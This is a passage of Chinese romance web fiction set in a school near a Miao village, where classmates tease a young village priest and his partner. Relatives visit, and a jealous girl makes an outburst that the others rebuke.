“有道理有道理！”王翠花连连点头，眼睛亮晶晶的，“上次许祭跟隔壁班同学去看电影，没叫沈司南，我看见沈司南在操场蹲了一整个晚自习，那脸色，黑得跟锅底似的！现在想想，那就是痛啊！” “不止！”靠窗的男生推了推眼镜，故作高深地开口，“还有那种‘想把人藏起来，又怕他不开心’的痛！沈祭司每次看着许祭跟别人笑，眼神都黏在许祭身上，那叫一个纠结！” 议论声越来越大，连后排最安静的女生都忍不住加入战局，叽叽喳喳的声音里，满是看热闹的兴奋。 沈司南的脸没红，只是耳尖微微泛起一点薄红，他低头看了眼怀里憋笑憋得肩膀发抖的许祭，伸手捏了捏他的后颈，声音不大，却清晰地传遍教室：“李沐阳，再乱说，下次祭祀大典，我建议寨老让你去守祭坛。” 守祭坛要通宵，还要对着一堆枯燥的祭品念祷文，是寨里公认的苦差事。 李沐阳立刻举手投降，笑得眉眼弯弯：“别别别！我错了！沈大祭司饶命！” 教室里的笑声更响了，窗外的晚风卷着夏末的余温，吹得人心里暖洋洋的。 晚自习的喧闹渐渐沉下去，灯管的嗡鸣在安静里格外清晰。李沐阳靠在讲台边，指尖无意识地摩挲着半截粉笔，目光飘向窗外县城的灯火，忽然轻声开口，语气里带着点说不清道不明的怅然：“我以前啊，也喜欢过一个苗寨的少年。” 这话一出，教室里瞬间静得落针可闻，几十双眼睛齐刷刷地黏在他身上，连呼吸都放轻了。 “他会笑，会哭，眉眼亮得像后山的星星。”李沐阳笑了笑，眼底闪过一丝怀念，“那时候我去苗寨支教，他总跟在我身后，摘野枇杷给我吃，教我唱苗歌，还偷偷带我去看祭祀前的篝火彩排。” “可惜了。” 他轻轻吐出这三个字，尾音淡得像风里的烟。 教室里短暂的寂静后，立刻涌起一阵细碎的议论声。 赵铁锤往前探着身子，胳膊肘撞了撞同桌，声音压得极低：“卧槽！李副校长居然还有这故事？没听他说过啊！” “苗寨的少年……”苏招托着下巴，眼神里满是好奇，“是因为什么可惜了？不会是……家里不同意吧？我听我奶奶说，以前苗寨的规矩可多了。” 王翠花咬着笔杆，眉头皱了起来：“肯定是这样！不然好好的，怎么会说可惜？李副校长那眼神，看着都难过。” 靠窗的男生推了推眼镜，压低声音分析：“说不定是后来分开了，一个在县城，一个在苗寨，山高路远的，慢慢就断了联系。你们想啊，那时候交通多不方便。” 议论声越来越轻，带着点少年人不懂的怅惘。有人偷偷看向沈司南，见他垂着眼，指尖轻轻勾着许祭的手指，许祭偏过头，用额头蹭了蹭他的手背，像是在无声地安慰。 李沐阳没再往下说，只是把粉笔搁回粉笔盒，抬手揉了揉眉心，再抬眼时，眼底的怀念已经藏了起来，又变回了那个带着点促狭的副校长：“好了，八卦听完了，都给我刷题！下次月考考不好，全部罚抄寨规——哦不对，是罚抄试卷！” 教室里爆发出一阵哄笑，刚才那点淡淡的怅然被笑声冲散，只有窗外的晚风，还带着点苗寨山林的清冽气息，悄悄溜进窗缝里。 寂静还没在教室里漫开多久，角落忽然传来一声淡淡的话音，带着点少年人特有的笃定和揶揄。 “那个少年，是我的手下败将，余弦。” 是沈司南。 他指尖还勾着许祭的手指，抬眼看向讲台时，眉梢挑着点似有若无的笑意，语气平淡，却足够让满教室的人都听得一清二楚。 这下，教室里是真的炸开了锅。 赵铁锤差点从椅子上弹起来，嗓门压得再低也掩不住兴奋：“卧槽！余弦？是不是那个苗寨里最会唱苗歌的？我爸去过苗寨，说他当年可是寨里的风云人物！” “手下败将？什么情况什么情况？”苏招扒着同桌的胳膊，眼睛瞪得溜圆，“沈祭司跟他比过什么？不会是比祭祀的本事吧？” 王翠花也来了劲，笔尖在草稿纸上飞快地划着，声音里满是八卦的热切：“我知道我知道！听我奶奶说，以前苗寨选祭祀的时候，有过一场比试！难不成就是他俩比的？” “肯定是！”靠窗的男生推了推眼镜，一脸了然，“不然沈祭司怎么会说他是手下败将？而且听这语气，当年的比试肯定很精彩！” 议论声越来越响，连后排几个不爱凑热闹的女生都忍不住凑在一起小声嘀咕。 “怪不得李副校长刚才那表情，合着他喜欢的人，还跟沈祭司有过渊源啊！” “你们说，余弦当年输了比试，是不是就离开苗寨了？不然怎么这么多年都没听过他的消息？” “沈祭司也太低调了吧！这么牛的事，居然从来没跟我们提过！” 李沐阳站在讲台上，先是愣了几秒，随即失笑，拿起粉笔头往沈司南的方向虚点了两下：“你这小子，哪壶不开提哪壶。” 沈司南没接话，只是低头看向怀里的人。许祭正仰头看他，眼底盛着笑意，伸手捏了捏他的掌心，用只有两人能听见的声音问：“当年你赢了什么？” 沈司南的指尖轻轻摩挲着他的指节，眼底的笑意漫开来：“赢了，守着苗寨的资格。” 李沐阳挑了挑眉，眼底漾开一抹哭笑不得的神色，慢悠悠地接话：“沈司南，你知道吗，他因为输了，转头就揣着攒了大半辈子的银饰，跑去曼谷，嫁给了别人。” 这话像颗石子，瞬间在教室里激起千层浪，压抑的惊呼和偷笑声差点掀翻屋顶。 赵铁锤拍着大腿，笑得差点从椅子上滑下去，压着嗓子嚷嚷：“卧槽！这剧情也太劲爆了吧！输了比试，直接远走高飞嫁去国外？余弦哥可以啊！” 苏招捂着嘴，肩膀抖得厉害，眼睛里满是八卦的光：“怪不得这么多年没消息，原来跑去曼谷了！沈祭司，你当年是不是把人虐得太狠了？人家直接换个赛道过日子！” 王翠花咬着笔杆，笑得脸颊通红，偷偷瞄了眼沈司南：“我就说余弦看着不像会认输的人，结果居然这么潇洒！嫁给别人……是嫁了个什么样的啊？” 靠窗的男生推了推眼镜，一本正经地分析，惹得周围人憋笑憋得肚子疼：“这叫什么？输了祭祀之位，赢了人生幸福！沈祭司，你这手下败将，可比你会享受啊！” 议论声里满是戏谑的笑意，连前排几个安静的女生都凑在一起，捂着嘴交换眼神。大家都不约而同地看向沈司南，等着看这位一向冷静自持的祭祀是什么反应。 沈司南先是愣了愣，随即低笑出声，胸腔的震动透过相握的手传到许祭掌心。他无奈地摇了摇头，看向李沐阳的眼神里带着点无奈：“他从小就这样，输不起，又爱折腾。” 许祭仰头看他，忍不住弯起嘴角，指尖轻轻挠了挠他的掌心：“原来你还有这么幼稚的一面。” 沈司南低头，在他发顶落下一个轻吻，眼底的温柔漫过眉梢：“只对你幼稚。” 旁边的笑声更响了，李沐阳靠在讲台上，看着这一幕，嘴角的笑意里，藏着几分释然的温柔。 李沐阳忽然低笑出声，眉眼弯起，带着几分揶揄又释然的味道，扬声补了句：“不过啊，我后来娶了他的姐姐，余淮，现在日子过得也很开心啊。” 这话一出，教室里直接炸开了锅，压抑的偷笑声瞬间变成了明目张胆的哄笑，连灯管的嗡嗡声都盖不住。 赵铁锤拍着桌子笑得直打嗝，差点把桌上的练习册拍掉地上：“卧槽！这什么神仙剧情！李副校长你可以啊！输了弟弟娶了姐姐！这波血赚不亏啊！” 苏招捂着肚子，笑得眼泪都快出来了，手肘狠狠撞了撞同桌，声音里满是八卦的兴奋：“怪不得！怪不得李副校长对苗寨这么熟！原来还是亲戚啊！沈祭司，你这下辈分是不是得喊李副校长一声姐夫了？” 王翠花咬着笔杆，脸颊笑得通红，笔尖在草稿纸上画了个乱七八糟的爱心，跟着起哄：“余弦跑去曼谷嫁人，李副校长娶了他姐姐，这剧情比电视剧还好看！沈祭司，当年比试的时候，你是不是没想到还有这一出啊？” 靠窗的男生推了推下滑的眼镜，一本正经地总结，惹得周围人笑得更凶了：“这就叫，山不转水转，兜兜转转都是一家人！沈祭司，以后去苗寨，可得喊李副校长一声姐夫了啊！” 满教室的调侃声此起彼伏，连后排几个平时闷不吭声的学生都忍不住跟着笑，目光在李沐阳和沈司南之间来回打转，带着看热闹不嫌事大的热切。 沈司南先是愣了愣，随即无奈地摇了摇头，眼底漾开淡淡的笑意，低头看向怀里笑得肩膀发抖的许祭，指尖轻轻刮了刮他的鼻尖：“这群人，越来越没规矩了。” 许祭仰头看他，眼底盛着细碎的笑意，伸手勾住他的手指，声音里带着笑音：“那你要不要喊一声姐夫听听？” 沈司南低笑出声，俯身凑近他的耳边，用只有两人能听见的声音说：“喊什么姐夫，喊……” 后半句话被晚风卷走，只剩下许祭瞬间红透的耳根，和教室里经久不息的笑声，裹着夏末的晚风，温柔又热闹。 李沐阳挑眉，从口袋里摸出手机晃了晃，嘴角的笑意更浓了几分：“余淮啊，长得可漂亮了，眉眼跟余弦有几分像，却比他温婉多了，你们想不想见见？” 这话刚落，教室里的议论声瞬间拔高了八度，连带着空气里都飘着兴奋的味道。 赵铁锤第一个举手，胳膊肘都快戳到前排同学的后背了，扯着嗓子喊：“想！当然想！李副校长快翻照片！让我们看看嫂子长什么样！” 苏招也跟着起哄，手指在屏幕上飞快地戳着，像是在催着李沐阳赶紧解锁手机：“必须见啊！能让李副校长惦记这么多年的人，肯定是大美女！沈祭司，你肯定见过吧？是不是真的超好看？” 王翠花捂着脸颊，眼睛亮晶晶的，声音里满是期待：“我想象不出来，余弦哥那么跳脱的性子，他姐姐居然是温婉挂的！快给我们看看照片，满足一下我们的好奇心！” 靠窗的男生推了推眼镜，故作深沉地接话，惹得周围人一阵哄笑：“我猜啊，余淮姐肯定是那种穿着苗绣衣裳，梳着麻花辫，笑起来眼睛弯弯的样子！李副校长，你可别藏着掖着了！” 满教室的起哄声里，连后排几个女生都凑在一起，叽叽喳喳地讨论着苗寨姑娘的模样。大家的目光齐刷刷地黏在李沐阳的手机上，连沈司南都被这阵仗逗笑了，低头捏了捏许祭泛红的耳垂，眼底满是无奈的纵容。 李沐阳被吵得没办法，笑着摇了摇头，手指在屏幕上点了几下，随即把手机举起来，对着满教室的学生晃了晃：“喏，就长这样——” 李沐阳把手机屏幕转向众人，指尖点了点照片上的人，笑得一脸得意：“喏，这就是余淮。” 教室里瞬间安静了半秒，随即爆发出惊天动地的哄笑声，连值班老师路过窗外，都忍不住往里瞥了两眼。 赵铁锤笑得直拍桌子，眼泪都快飙出来了，捂着肚子喊：“卧槽！李副校长你这审美！也太独特了吧！这哪是温婉，这明明是豪放派啊！” 苏招笑得直打嗝，手指着照片上余淮爽朗的大嗓门模样，憋笑道：“怪不得……怪不得余弦跑曼谷去了，这姐弟俩的画风，差得也太远了吧！” 王翠花咬着嘴唇，肩膀抖得厉害，偷偷瞄了眼李沐阳，又赶紧低下头，生怕被他看见自己憋笑的样子：“跟想象中的苗寨美女……完全不一样啊！不过看着好亲切！” 靠窗的男生推了推眼镜，一本正经地补充，惹得全班笑翻：“这叫反差美！李副校长这是真爱啊！不看颜值看灵魂！” 议论声和笑声混在一起，差点掀翻教室的屋顶。沈司南也忍不住勾了勾唇角，低头看向怀里笑到发抖的许祭，指尖轻轻擦过他泛红的眼角：“笑慢点，小心呛着。” 李沐阳佯怒地瞪了起哄的学生一眼，把手机揣回兜里，嘴角却藏不住笑意：“笑什么笑！我家余淮这叫英气！比那些娇滴滴的小姑娘耐看多了！” 这话一出，笑声更响了，窗外的晚风卷着夏末的蝉鸣，裹着满教室的热闹，飘向了远处的灯火里。 李沐阳气得笑出声，手指飞快地在手机里翻找，嘴里还不忘反驳：“懂什么叫耐看？什么叫人不可貌相？看好了！” 说着，他把手机重新举起来，这次的照片里，余淮穿着一身靛蓝的苗绣盛装，衣襟上绣着缠枝莲纹，袖口滚着细密的银边，头上戴着沉甸甸的银冠，银饰垂下来，随着动作轻轻晃动，叮当作响。她站在苗寨的吊脚楼前，身后是层层叠叠的青山，阳光落在她脸上，眉眼舒展，笑容爽朗又明媚，竟透着一股说不出的英气与温婉交织的韵味。 教室里的哄笑声戛然而止，静得能听见窗外的蝉鸣。 赵铁锤的嘴巴张成了“O”形，半晌才憋出一句：“我靠……这、这是同一个人？” 苏招也看直了眼，戳了戳同桌的胳膊，声音都有点结巴：“真、真好看啊……这苗装一穿，气质完全不一样了！” 王翠花捂着胸口，眼睛亮晶晶的：“原来这就是苗寨姑娘的盛装啊！也太惊艳了吧！银饰闪闪发光的，好漂亮！” 靠窗的男生推了推眼镜，一本正经地总结：“果然，人靠衣装马靠鞍！余淮姐这一身，简直就是从山水里走出来的苗寨阿妹！李副校长，你眼光可以啊！” 议论声又响起来，这次却满是赞叹。沈司南也抬眼瞥了一下，眼底闪过一丝笑意，低声对许祭说：“余淮姐穿苗装，一直都这么好看。” 许祭点点头，看着照片里的人，忍不住弯起嘴角：“真的很好看，银饰和衣服好配。” 李沐阳得意地扬了扬下巴，把手机揣回兜里，挑眉看向起哄的学生：“怎么样？我说的没错吧？我家余淮，可是咱们苗寨最好看的姑娘！” 教室里响起一片哄笑和附和声，晚风从窗缝溜进来，带着点苗寨山林的清冽气息，也带着满室的热闹与温柔。 窗外的蝉鸣忽然被一阵清脆的喊声截断，教室后门的帘子被人掀开，一个穿着靛蓝短褂、梳着双丫髻的苗寨姑娘快步跑进来，辫梢上的银铃叮当作响。 她一眼就瞧见了角落里的两人，眼睛亮得像山涧的星星，扬着嗓子喊：“司南阿哥，嫂嫂，你们来了！” 这一声喊得响亮，满教室的目光“唰”地一下全聚了过去，连李沐阳都转过身，笑着朝姑娘招手。 沈司南闻声抬头，眉眼瞬间柔和下来，朝她点了点头：“怎么跑这儿来了？” 许祭的脸“腾”地红透了，耳根烫得能煎鸡蛋，下意识地往沈司南身后缩了缩，手指却被沈司南攥得更紧。 姑娘几步跑到桌前，手里还拎着个竹编小篮，篮里铺着翠绿的粽叶，露出几颗圆滚滚的糯米糍。她熟稔地把篮子往桌上一放，眨着眼睛冲许祭笑：“嫂嫂，我娘让我给你带的红糖糯米糍，你上次说爱吃的。” 话音未落，教室里又是一阵低低的哄笑，赵铁锤带头吹了声口哨，苏招更是拍着桌子喊：“嫂嫂！喊得好！” 颜染立刻扑到许祭胳膊上，脑袋蹭着他的袖子晃了晃，声音软得像山涧的泉水，带着点撒娇的鼻音：“嫂嫂，你最好了，司南阿哥要让我抄寨规，我不想抄，好不好嘛，求求你了，拜托拜托。” 她一边说，一边还偷偷抬眼瞄了瞄沈司南，见他脸色没松，又把许祭的胳膊晃得更厉害了，辫梢的银铃叮铃哐啷响个不停。 教室里的议论声和偷笑声一下子就冒了出来，赵铁锤憋笑憋得肩膀直抖，跟旁边的苏招挤眉弄眼：“好家伙，沈祭司也有治不了的人！还得是嫂嫂出马！” 苏招捂着嘴，眼睛弯成了月牙：“这小姑娘也太会了吧！找许祭当救兵，抓准了沈司南的软肋啊！” 王翠花也跟着小声嘀咕：“寨规那么长，抄一遍得累惨，换我我也不想抄！嫂嫂快帮帮她！” 靠窗的男生推了推眼镜，一本正经地总结：“这就叫一物降一物，沈祭司再厉害，也架不住嫂嫂开口啊！” 满教室的目光都黏在许祭身上，等着看他怎么回应。沈司南无奈地敲了敲桌沿，眼底却藏着笑意，捏了捏许祭的掌心：“别听她的，上次偷偷把祭坛的香灰混进糯米糍里，还没罚够。” 许祭被颜染晃得胳膊发麻，又听见满教室的哄笑声，索性转过头，伸手捏了捏沈司南的脸颊，故意板着脸，尾音却带着点笑意：“沈司南，我生气了哦，还让不让她抄了？” 他的指尖带着微凉的温度，轻轻蹭过沈司南的下颌线。沈司南原本还绷着的脸，瞬间就软了下来，无奈地叹了口气，伸手把许祭作乱的手指攥进掌心，指尖轻轻摩挲着他的指腹。 “不抄了。”沈司南的声音里带着纵容的笑意，转头瞪了颜染一眼，“下次再敢胡闹，就算你嫂嫂求情也没用。” 颜染立刻欢呼一声，扑过来抱住许祭的胳膊，笑得眉眼弯弯：“嫂嫂你太厉害啦！” 教室里的哄笑声更响了，赵铁锤吹了声口哨，苏招跟着起哄：“嫂嫂威武！沈祭司秒怂！” 李沐阳靠在讲台上，看着这一幕笑得直摇头，故意拉长了语调感慨：“可惜了，我不是天天都有嫂嫂，不然啊，多少抄寨规的活儿都能免了！” 这话一出，教室里的笑声直接掀翻了屋顶。赵铁锤拍着桌子笑得直跺脚，连眼泪都笑出来了：“李副校长你这是羡慕嫉妒恨啊！”苏招捂着肚子，一边笑一边喊：“要不等下次，让沈祭司也认你当弟弟！”王翠花更是笑得趴在桌上，笔尖都在草稿纸上画出了歪歪扭扭的线。 满教室的喧闹里，许祭的脸又红了几分，伸手轻轻掐了下沈司南的腰。沈司南低笑着捉住他的手腕，眼底的温柔快要溢出来，对着李沐阳挑眉：“羡慕？也让余淮姐管管你。” 教室后门的帘子又被人掀了起来，这次进来的是个穿着素色棉麻长裙的女人，头发松松挽成髻，簪着支银簪，眉眼间带着点爽朗的笑意，正是余淮。她手里拎着个布包，冲李沐阳扬了扬下巴：“喊你回家吃饭，磨磨蹭蹭的。” 教室里的笑声瞬间停了，随即爆发出更热烈的议论声，比刚才任何一次都要响亮。 “卧槽！这就是余淮姐吧！比照片上还好看！这气质绝了！”赵铁锤扒着桌子站起来，眼睛瞪得溜圆。 苏招拽着同桌的袖子，声音都有点发颤：“果然人靠衣装！刚才看的照片根本没拍出她的韵味！这银簪也太衬她了吧！” 王翠花捂着脸颊，眼睛亮晶晶的：“她笑起来好温柔啊！跟李副校长站在一起，也太般配了吧！” 靠窗的男生推了推眼镜，一本正经地分析：“这就是所谓的温婉又英气吧！苗寨姑娘的气质果然不一样！李副校长好福气！” 议论声里，李沐阳已经笑着迎了上去，伸手接过她手里的布包，语气里满是无奈：“跟这群孩子聊得起劲，忘了时间。” 余淮瞥了眼满教室探头探脑的学生，又看了看角落里的沈司南和许祭，笑着眨了眨眼：“我还以为你又在讲你当年那点事儿呢。” 余淮迈步走到教室中间，目光先落在沈司南和许祭身上，眉眼弯起，落落大方地开口：“祭祀大人好，嫂子好。” 说完，她转头看向李沐阳，伸手轻轻戳了戳他的胳膊，语气带着点嗔怪，“李沐阳，你没有惹事吧？” 这话一出，教室里又炸开了锅，议论声混着偷笑声此起彼伏。 “哈哈哈！李副校长也有被管着的时候！这家庭地位一目了然啊！”赵铁锤拍着桌子起哄，笑得前仰后合。 苏招捂着嘴，眼睛弯成了月牙，跟同桌小声嘀咕：“余淮姐也太飒了吧！一句话就拿捏住李副校长了！” 王翠花咬着笔杆，脸颊通红，偷偷瞄着两人互动，忍不住感慨：“他们俩的相处模式也太甜了吧！跟小情侣似的！” 靠窗的男生推了推眼镜，一本正经地总结：“这就是一物降一物！李副校长刚才还调侃别人，这下轮到自己被点名了！” 李沐阳被说得有点不好意思，伸手挠了挠头，对着余淮嘿嘿一笑：“哪能啊，我跟孩子们聊得正开心呢。” 沈司南看着这一幕，眼底也漾开淡淡的笑意，低头捏了捏许祭的掌心。许祭忍不住弯起嘴角，转头看向窗外，夏末的晚风卷着灯火的暖意，悄悄溜进了教室。 颜染眼睛一亮，立刻从竹篮里翻出个巴掌大的小绣帕，三步并作两步跑到余淮身边，拽着她的袖子晃了晃：“淮姨淮姨，你快看我新绣的缠枝莲！你教我的针法，我终于绣好看了！” 绣帕是天青色的底，上面的缠枝莲用金线勾边，粉白的花瓣层层叠叠，连叶脉都绣得根根分明，透着股灵动的劲儿。余淮接过绣帕，指尖拂过细密的针脚，眼底满是赞许：“不错不错，比上次绣的好多了，针脚稳了，配色也顺眼。” 这话一出，教室里的学生们都好奇地围了过来，挤在两人身边探头探脑。 “哇！这也太好看了吧！跟画出来的一样！”王翠花伸长脖子，眼睛瞪得溜圆。 赵铁锤也凑了过来，挠了挠头，一脸佩服：“这么细的针脚，我看都看花了，你居然能绣出来！” 苏招伸手轻轻碰了碰绣帕上的金线，忍不住感慨：“这就是苗绣吗？也太精致了吧！比我买的那些十字绣好看一百倍！” 靠窗的男生推了推眼镜，指着花瓣上的纹路分析：“这针法看着不简单，应该是苗绣里的平绣吧？配色还挺讲究的。” 一时间，议论声和赞叹声混在一起，颜染被夸得脸颊通红，却还是得意地扬着下巴，偷偷瞄了眼沈司南，像是在等着他夸两句。沈司南无奈地摇了摇头，嘴角却弯起一抹浅浅的弧度。 余淮指尖还捏着那块绣帕，抬眼看向沈司南，嘴角勾起一抹促狭的笑：“你们知道吗？祭祀大人平常特别冷，像冰块一样，在寨子里的时候，小娃娃见了他都要绕着走。” 这话刚落，教室里就响起一片憋不住的偷笑声，议论声也跟着冒了出来。 “冰块？！沈祭司居然还有这一面？”赵铁锤瞪大了眼睛，转头看向角落里的两人，笑得一脸八卦，“跟现在对着嫂嫂的样子，简直判若两人啊！” 苏招捂着嘴，肩膀抖个不停，小声跟旁边的同学嘀咕：“果然是只对嫂嫂融化的冰山！这反差也太甜了吧！” 王翠花咬着笔杆，眼睛亮晶晶的，忍不住接话：“怪不得颜染怕他怕得要命，原来在寨子里这么吓人！” 靠窗的男生推了推眼镜，一本正经地总结：“这就是传说中的外冷内热吧！不对，是只对一人热！” 满教室的调侃声里，沈司南的耳尖微微泛红，伸手捏了捏许祭的指尖，语气里带着点无奈：“别听她胡说。” 许祭仰头看他，眼底盛着笑意，故意凑近他耳边：“原来你以前是冰块啊？那我是不是捡到宝了？” 教室前门“吱呀”一声被推开，陈杬祝背着双肩包走了进来，目光扫过教室，在角落里的沈司南身上顿住，他停下脚步，规规矩矩地喊了一声：“沈祭祀好。” 声音不大，却刚好让周围几排的人都听得一清二楚。他打完招呼，就低头整理起桌肚里的书本，完全没看旁边的许祭一眼。 这下，旁边的同学立刻炸开了锅，小声的议论声像蚊子似的嗡嗡响。 “哎？陈杬祝怎么只跟沈祭司打招呼啊？”赵铁锤碰了碰前排同学的胳膊，一脸疑惑。 苏招也皱着眉，凑过来低声说：“就是啊，许祭就坐在沈祭司旁边，他看不见吗？也太奇怪了吧。” 王翠花咬着笔杆，偷偷瞄了眼陈杬祝的背影，小声嘀咕：“他俩以前是不是有什么矛盾啊？不然怎么连招呼都不打。” 靠窗的男生推了推眼镜，若有所思地说：“说不定是不知道怎么称呼？毕竟许祭和沈祭司的关系……” 议论声越来越密，连沈司南都抬眼瞥了陈杬祝一眼，眉头微不可察地蹙了一下。许祭倒是没太在意，只是低头翻着练习册，指尖轻轻划着书页上的公式。 瞿凝戳了戳陈杬祝的胳膊肘，压低声音，语气里满是不解：“你怎么回事啊？就只跟沈祭祀打招呼，许祭就在旁边呢，你俩以前不是还说过话吗？” 陈杬祝的笔尖顿了顿，指腹用力蹭过纸上的字迹，声音冷得像淬了冰，一字一句道：“他不配。” 这三个字轻飘飘的，却像一颗炸雷在周围炸开，瞬间掀起一片哗然。 “卧槽！他说什么？许祭不配？”赵铁锤差点从椅子上弹起来，声音都拔高了八度。 苏招也愣住了，皱着眉和旁边的人嘀咕：“这俩人到底有什么过节啊？以前看着挺平和的，怎么突然这么冲？” 王翠花咬着笔杆，眼神里满是惊疑：“不会是因为沈祭祀吧？难道是……嫉妒？” 靠窗的男生推了推眼镜，若有所思地接话：“肯定有内情！陈杬祝平时看着挺内敛的，怎么会说出这种话？” 议论声越来越大，连余淮都忍不住朝这边看了两眼，眼底闪过一丝疑惑。沈司南的脸色瞬间沉了下来，周身的温度仿佛都降了几度，他伸手将许祭往自己身边揽了揽，抬眼看向陈杬祝，目光冷冽如霜。 瞿凝被这三个字噎得半天没回过神，她张了张嘴，又凑近了些，声音压得更低：“你疯了吧？好好的怎么说这种话？” 陈杬祝没再理她，只是将脸埋进臂弯里，后背绷成了一道僵硬的弧线，脖颈处的皮肤却泛着不正常的红。 教室里的议论声非但没停，反而更甚了，连带着前排的颜染都踮着脚往这边瞧，小声问许祭：“嫂嫂，那个姐姐是不是跟你有仇啊？” 许祭摇了摇头，刚想说什么，就被沈司南攥住了手腕。沈司南的指节泛着白，目光落在陈杬祝的背影上，冷得像腊月里的冰棱，他薄唇轻启，声音不大，却带着不容置疑的威压：“陈杬祝，把你刚才的话收回去。” 这话一出，满教室瞬间安静了。 陈杬祝猛地抬起头，眼眶通红，却梗着脖子瞪着许祭：“我不收！他本来就不配待在你身边！一个外来的汉人，凭什么占着我们苗寨最尊贵的祭祀？凭什么让你放下祭祀的责任，天天陪着他？” 她的声音尖利，带着歇斯底里的控诉，惊得窗外的蝉鸣都顿了顿。 “汉人怎么了？”赵铁锤第一个炸了毛，“许祭哥待我们苗寨哪里不好了？上次寨里的老阿婆生病，还是他跑前跑后找的县城医生！” 苏招也跟着点头：“就是！他还帮我们整理苗寨的老故事，说要写成书让更多人知道！跟沈祭司也是真心相爱的，哪里不配了？” 王翠花更是气鼓鼓的：“你这是偏见！不能因为许祭哥不是苗族人，就这么说人家！” 议论声再次涌起来，这次却满是对陈杬祝的反驳。余淮皱着眉走过来，伸手拍了拍陈杬祝的肩膀，语气温和却带着力度：“小姑娘，说话要讲良心，不能凭着一己之私就伤人。” 陈杬祝却一把甩开她的手，眼泪掉得更凶了：“私心？我哪里有私心？我只是看不惯他把司南阿哥从苗寨身边抢走！司南阿哥是属于苗寨的，不是属于他一个人的！” 许祭看着她泛红的眼眶，心里忽然咯噔一下，他想起上次回苗寨，好像见过陈杬祝——她站在祭坛外的人群里，手里攥着一串银铃，望着沈司南的眼神，满是孺慕和……不 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满教室的目光都黏在陈杬祝身上，等着看她的反应。陈杬祝的脸一阵红一阵白，攥着衣角的手指用力得泛白，却愣是没敢再说出一个字，只能死死地瞪着许祭，眼底的不甘快要溢出来。 余淮上前一步，伸手按住陈杬祝的肩膀，力道不重却带着不容挣脱的稳，语气淡得听不出情绪，却让空气里的火气瞬间降了几分：“陈杬祝，不要说了，再说下去，可是要见血的。” 这话轻飘飘的，却像一块冰投进了滚水里，教室里的议论声顿时变了调子。 “见血？什么意思啊？难道寨规里还有这么狠的惩罚？”赵铁锤挠了挠头，声音压低了些，眼里却满是好奇。 苏招也缩了缩脖子，小声跟瞿凝嘀咕：“我听我奶奶说过，以前苗寨的老规矩，要是有人故意挑事搅乱人心，惩罚可不止抄寨规那么简单……” 王翠花捂着嘴，眼里闪过一丝后怕：“怪不得余淮姐突然这么说，这是在提醒她吧？再闹下去真的要出事了！” 靠窗的男生推了推眼镜，若有所思地接话：“应该是涉及到祭祀的名誉了，苗寨最看重这个，陈杬祝刚才的话，其实已经踩了红线。” 议论声里少了几分看热闹的戏谑，多了些小心翼翼的忌惮。陈杬祝的肩膀猛地一颤，抬头看向余淮，眼底的倔强终于裂开了一道缝，泛红的眼眶里水汽更重，却死死咬着唇，再也没吐出一个字。 空气里的紧绷感像被拉到极致的弦，连窗外的蝉鸣都弱了几分。 陈杬祝的肩膀还在微微发抖，指尖掐进掌心，留下几道深深的红痕，却始终没再吭声。瞿凝看不下去，悄悄扯了扯她的袖子，低声劝：“算了，别犟了。” 沈司南没再看她，只是垂眸，指尖轻轻摩挲着许祭的手背，像是在安抚他微僵的指尖。许祭抬眼，望进他眼底，那里没有半分戾气，只有藏不住的温柔，他忍不住弯了弯唇角，反手握住沈司南的手。 余淮松开按住陈杬祝的手，转身看向满教室屏息的学生，扬了扬下巴，语气又恢复了平日里的爽朗：“都愣着干什么？难不成还等着看大戏？散了散了，该看书的看书，该聊天的聊天，别堵在这儿挡光。” 赵铁锤最先反应过来，嘿嘿笑了两声，拍了拍桌子：“散了散了！没热闹看咯！”说着，还故意朝陈杬祝的方向挤了挤眼睛。苏招也拉着王翠花往回走，嘴里还小声念叨：“刚才吓死我了，余淮姐那句话也太有气场了。” 学生们三三两两地散开，议论声却没断，只是都压低了嗓门，像一阵风似的在教室里飘。 颜染凑到许祭身边，把竹篮往他怀里塞了塞，小声嘀咕：“嫂嫂别往心里去，陈杬祝就是从小被家里宠坏了，总觉得司南阿哥该是苗寨所有人的，以前也不是没闹过别扭。” 许祭接过竹篮，低头看着里面裹着粽叶的糯米糍，鼻尖萦绕着淡淡的红糖香，他弯了弯唇：“我知道，没事。” 沈司南揽住他的肩，眼底闪过一丝冷意，却没再多说什么。 这时，李沐阳拎着余淮带来的布包走过来，笑着打圆场：“好了好了，多大点事儿，别影响心情。我和余淮带了苗寨的腌鱼，晚上要不要一起去我家吃？” 许祭刚想开口，就听见身后传来一声极轻的啜泣。 陈杬祝终于忍不住，趴在桌子上，肩膀一耸一耸的，哭得压抑又委屈。瞿凝叹了口气，拿出纸巾递给她，没再说话。 夕阳透过窗户，斜斜地照进来，在地上投下长长的影子，教室里的喧闹渐渐平息，只剩下隐约的抽泣声，和窗外渐起的晚风。 陈杬祝猛地推开椅子，椅子腿在水泥地上划出刺耳的声响。她没再看任何人，抓起桌角的书包，攥着的手指因为用力而泛白，眼眶通红却倔强地不肯让眼泪掉下来，转身就往教室外冲。 “欸！”瞿凝下意识地喊了一声，伸手想去拉，却只捞到一片衣角。 教室门被她“砰”地一声甩上，震得窗户玻璃都轻轻颤了颤。 短暂的寂静后，教室里又响起细碎的议论声。 “这就跑了？也太倔了吧！”赵铁锤撇撇嘴，小声嘀咕。 “她肯定也知道自己理亏，就是拉不下脸道歉。”苏招叹了口气，摇了摇头。 “其实她要是好好说，也不至于闹成这样……”王翠花的声音越来越小，目光落在紧闭的门上，带着点惋惜。 沈司南的眉头始终没松开，他低头看向怀里的许祭，指尖轻轻蹭过他的侧脸，声音放柔：“别往心里去。” 许祭摇了摇头，目光也望向门口的方向，轻声道：“她……应该是憋了很久了。” 余淮走到窗边，撩开窗帘看了一眼，陈杬祝的身影正飞快地消失在巷子尽头，她回头叹了口气：“这孩子，从小就认死理，总觉得司南是苗寨的，不能被外人抢走。” 余淮靠着窗台，指尖轻轻摩挲着发簪上的银纹，忽然转头看向满教室的学生，笑着开口：“你们觉得，祭祀是什么样的？” 教室里瞬间安静了几秒，随即炸开了锅，议论声此起彼伏地冒了出来。 “祭祀啊，肯定是高高在上的！守着祭坛，穿着绣满花纹的法衣，不苟言笑的那种！”赵铁锤率先嚷嚷起来，一脸笃定。 苏招托着下巴，慢悠悠地接话：“我觉得是神秘又威严的，能和山神对话，会摆弄那些苗寨的古老仪式，平时都不怎么跟人说话。” 王翠花抿了抿嘴，声音软乎乎的：“应该是很温柔的吧？就像司南阿哥对嫂嫂那样，只是对别人比较冷淡，心里装着苗寨的所有人。” 